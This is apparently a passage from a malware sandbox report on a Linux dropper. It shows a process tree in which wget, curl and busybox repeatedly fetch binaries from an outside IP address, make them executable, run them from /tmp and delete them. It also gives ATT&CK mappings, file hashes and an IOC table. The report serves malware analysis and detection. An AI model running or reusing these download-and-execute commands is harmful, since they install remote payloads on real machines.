  curl -O http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Writes file to tmp directory
  PID:1670
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1671
- /bin/chmod
  chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - File and Directory Permissions Modification
  PID:1672
- /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Executes dropped EXE
  PID:1673
- /bin/rm
  rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1674
- /usr/bin/wget
  wget http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1675
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Writes file to tmp directory
  PID:1676
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1677
- /bin/chmod
  chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - File and Directory Permissions Modification
  PID:1678
- /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Executes dropped EXE
  PID:1679
- /bin/rm
  rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1680
- /usr/bin/wget
  wget http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1681
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Writes file to tmp directory
  PID:1682
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1683
- /bin/chmod
  chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - File and Directory Permissions Modification
  PID:1684
- /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Executes dropped EXE
  PID:1685
- /bin/rm
  rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1686

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt

Path /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP

Path /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
Size 114B
SHA256 2d1255033a3f5cde3fb430b15d84ad95c1d7d37b25132cd3dcca7c30963e9f12
MD5 546071c6a6aeff34580b4d1a9b35a7c3
SHA1 dc2de298837a86d3bc86e8a328411229d9eccdb6
SHA512 207f333daf98fe653f4f661defd86651cbb50e3482511769d0558d2fd80ce107ec6a519424e05107740a802b444b62445901788d80dde4e8dbc8ee116d5b9be7
MD5 SHA1 SHA512

Submit Download

DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk

Path /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	1510	DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	1517	Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	1525	CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	1531	lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	1537	CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	1543	5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	1550	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	1556	g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	1562	SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	1569	SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	1576	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	1583	u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	1589	s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	1595	lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	1601	SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	1608	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	1614	g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	1620	lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	1626	SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	1633	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	1640	u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	1646	s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	1652	Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	1659	DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	1666	5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	1673	CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	1679	lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	1685	CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads